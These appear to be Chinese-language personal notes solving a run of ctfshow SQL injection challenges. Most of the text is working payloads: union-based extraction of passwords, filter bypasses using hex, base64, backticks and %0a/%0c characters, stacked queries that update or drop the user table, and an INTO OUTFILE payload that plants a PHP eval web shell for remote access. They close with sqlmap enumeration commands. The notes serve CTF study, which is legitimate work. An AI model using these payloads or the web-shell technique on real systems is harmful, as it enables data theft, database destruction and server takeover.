0' or id ='27
999' union select id,password from ctfshow_user2 where username = 'flag
9999' union select id,hex(username),password from ctfshow_user3 where username = 'flag
这里用Hex(username)绕过了对返回值含有flag的过滤
还可以用其他如
1. **数学函数**
- `ABS()`: 返回一个数的绝对值。
- `CEIL()`: 返回大于或等于指定数字的最小整数。
- `FLOOR()`: 返回小于或等于指定数字的最大整数。
- `ROUND()`: 四舍五入到最接近的整数。
- `MOD()`: 返回除法的余数。
2. **字符串函数**
- `CONCAT()`: 连接两个或多个字符串。
- `SUBSTRING()`: 返回字符串的子串。
- `UPPER()`: 将字符串转换为大写。
- `LOWER()`: 将字符串转换为小写。
- `LENGTH()`: 返回字符串的长度。
- `TRIM()`: 移除字符串首尾的空格。
- `REPLACE()`: 替换字符串中的子串。
- `REVERSE()`: 返回字符串的反转形式。/////////////////////////////////////
- `LEFT()`: 返回字符串左边的字符。
- `RIGHT()`: 返回字符串右边的字符。
3. **日期和时间函数**
- `NOW()`: 返回当前的日期和时间。
- `CURDATE()`: 返回当前的日期。
- `CURTIME()`: 返回当前的时间。
- `DATE()`: 提取日期部分。
- `TIME()`: 提取时间部分。
- `TIMESTAMP()`: 返回UNIX时间戳。
4. **加密函数**
- `MD5()`: 返回字符串的MD5哈希值。
- `SHA1()`: 返回字符串的SHA-1哈希值。
- `AES_ENCRYPT()`: 使用AES加密算法加密字符串。
- `AES_DECRYPT()`: 使用AES加密算法解密字符串。
5. **编码和解码函数**
- `to_base64()`: 将字符串进行Base64编码。
- `from_base64()`: 将Base64编码的字符串解码。
6. **其他**
- `CAST()`: 将一个值转换为指定的数据类型。
- `COALESCE()`: 返回参数列表中的第一个非NULL值。
- `IF()`: 如果条件为真,则返回一个值,否则返回另一个值。
- `NULLIF()`: 如果两个表达式相等,则返回NULL,否则返回第一个表达式。
这题要求返回的值不能有0-9
0' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username="flag" --+
import base64
flag64 = "Y@CRmc@Bhvd@CsyNjZiN@BU@JYy@J@EZTJiLTQzOGEtODg@EZC@J@CYjc@AMTZhNTBkMzR@I"
flag = flag64.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace("@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")
print(base64.b64decode(flag))
99' union select 1,"<?php eval(POST[1]):?>" into outfile '/var/www/html/1.php
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
再把base64进行url编码
PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B
payload
99' union select 1,from_base64("PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B") into outfile '/var/www/html/4.php
然后可以通过蚁剑连接
999' or username = 'flag
1'or/**/1=1%23
1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23
%23
: 这是URL编码中表示字符 #
的方式。在SQL查询中,%23
后的内容将被视为注释,从而忽略后续的内容。这种写法可能是为了防止后续内容被执行。
/**/ 注释
%0a 换行
%09 水平制表符
%0b 垂直制表符
%0C 换页
%0d 回车
· 反应号(要在括号里面用)不好用
%0a 换行
%09 水平制表符
%0b 垂直制表符
%0C 换页
%0d 回车
· 反应号(要在括号里面用)不好用
payload
0'union%0aselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3
这里我们使用了反引号绕过
但注意反引号是无法绕过union这里的
1'or'1'='1'%23
0'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3
这里0a 0b 0d都过滤了
0'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3
或者无空格写法
id=-1'or(id=26)and'1'='1
id=26'or(id=26)or'1'='2
-1'or(id=26)and'1'='1
id=26'or(id=26)or'1'='2
id=-1'or(id=26)and'1'='1
id=26'or(id=26)or'1'='2
999'%0cor%0cusername='flag
id=-1'or(id=26)and'1'='1
999'%0cor%0cusername%0clike'%la%
这里使用了like %flag 写法
tableName=`ctfshow_user`where`pass`regexp('c')
tableName=ctfshow_user group by pass having pass regexp(0x63746673686f77)
这里面后面的16进制是 “ctfshow” 可以用16进制绕过双引号
然后就是修改脚本了
file:D:\ctf_scripts\sql_injection\16进制布尔盲注逐位获取flag.py
值得注意的是,这个having要搭配order by使用
url: https://www.freecodecamp.org/chinese/news/sql-having-how-to-group-and-count-with-a-having-statement/
title: "如何使用 SQL HAVING 语句进行分组和计数"
description: "在 SQL 中,你可以在 GROUP BY 之后使用 HAVING 关键字根据指定条件查询数据库。与其他关键字一样,它返回满足条件的数据并过滤掉其余的数据。 引入 HAVING 关键字是因为 WHERE 子句无法与聚合函数一起使用。因此,你必须将 HAVING 子句与聚合函数一起使用,而不是 WHERE。 将 HAVING 子句与 GROUP BY 关键字一起使用,你可以将数据库中的数据排列为多个组。因此,你可以在大型数据库中使用它。 如何使用 HAVING 关键字 假设我在 student_scores 数据库中有一个名为 students 的表。SELECT * FROM students 返回以下内容: 你可以通过运行 SELECT name, score FROM students 仅获取姓名和分数。 然后,你可以使用 HAVING 关键字根据条件过滤掉一些学生,例如,那些得分大于 70 的人。 但在此之前,你必须像这样使用 GROUP BY 子句:"
host: www.freecodecamp.org
favicon: https://cdn.freecodecamp.org/universal/favicons/favicon.ico
image: https://chinese.freecodecamp.org/news/content/images/2022/09/sqlHaving.png
ffifdyop
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
username=1||1
password=0
或者username=0
select username,password from user where username = 0;
返回结果select username,password from user where username =4;
\u5bc6\u7801\u9519\u8bef
\u67e5\u8be2\u5931\u8d25
admin
1' or '2>1
发现与上题一样的
还是写脚本
file:D:\ctf_scripts\sql_injection\布尔盲注模板.py
ORD() 函数返回字符串第一个字符的ASCII 值,如果该字符是一个多字节(即一个或多个字节的序列),则[MySQL函数将返回最左边字符的代码。
lpad()
。lpad(str,len,padstr)
lpad()
函数返回字符串str
,len
小于字符串长度相当于字符串截取;大于字符串长度,则在左填充用字符串padstr
直到达到len
字符长度。
有左填充,一般就是右填充,找到rpad()
,用法和lpad()
类似。
这里使用lpad(),它和left()的注入语句类似,只是多了一个填充字符串padstr
参数,令其为空即可。
没有过滤分号,考虑堆叠注入。但不能有空格,可以通过反引号包裹表名等信息的方式绕过空格过滤。
根据展示的代码可知,登陆成功就可以获得flag,关键就在于登陆,而且登陆的这个用户他的密码要是数字。过滤了select,单双引号也被过滤,没有报错提示。
没有过滤分号,考虑堆叠注入。但不能有空格,可以通过反引号包裹表名等信息的方式绕过空格过滤。
根据展示的代码可知,登陆成功就可以获得flag,关键就在于登陆,而且登陆的这个用户他的密码要是数字。
通过提供的查询语句可以知道表名是ctfshow_user,列名为username和pass。
考虑用update把所有pass改成1。
username=1;update`ctfshow_user`set`pass`=1&password=1
//这里username=1;写成username=0;也可以的,不影响后面update的执行,两条语句都会执行。
这里除了用username=1 也可以用0
因为无单引号包裹,所以0会匹配所有字母和特殊符号开头的用户
然后username=0&password=1登陆。
删除表
drop table ctfshow_user;
新建表
create table ctfshow_user(`username`varchar(100),`password`varchar(100));
插入数据
insert ctfshow_user(`username`,`password`) value(1,2)
0;drop table ctfshow_user;create table ctfshow_ user(`username`varchar(100),`pass`varchar(100)); insert ctfshow_user(`username`,`pass`) value(1,2);
0;insert ctfshow_user(`username`,`pass`) value(1,2);
这里也可以用change
使用change方法
这个是198的方法,但是用到了括号,我们将其变量类型进行更改避免用括号
我们使用
这个方法就没用到Insert 但是条件也是要知道列名 表名 还有密码的
INSERT INTO ctfshow_user
SET username = 1, pass = 2;
解法一:
show tbales;
密码用table名就行了, 要允许使用空格
解法2:
也可以用change解法
使用--user-agent 指定agent
使用--referer 绕过referer检查
python3 .\sqlmap.py -u "http://5c700530-30c6-4997-b8a3-d3879bef19db.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show
```
--dbs 枚举数据库的所有数据库
-D ctfshow_web --tables 获取ctfshow_web数据库下的表
139 --tables 枚举数据库的所有表
-D ctfshow_web --tables -T ctfshow_user --columns
获取指定表,列下的字段名字
140 --columns 枚举数据库的所有列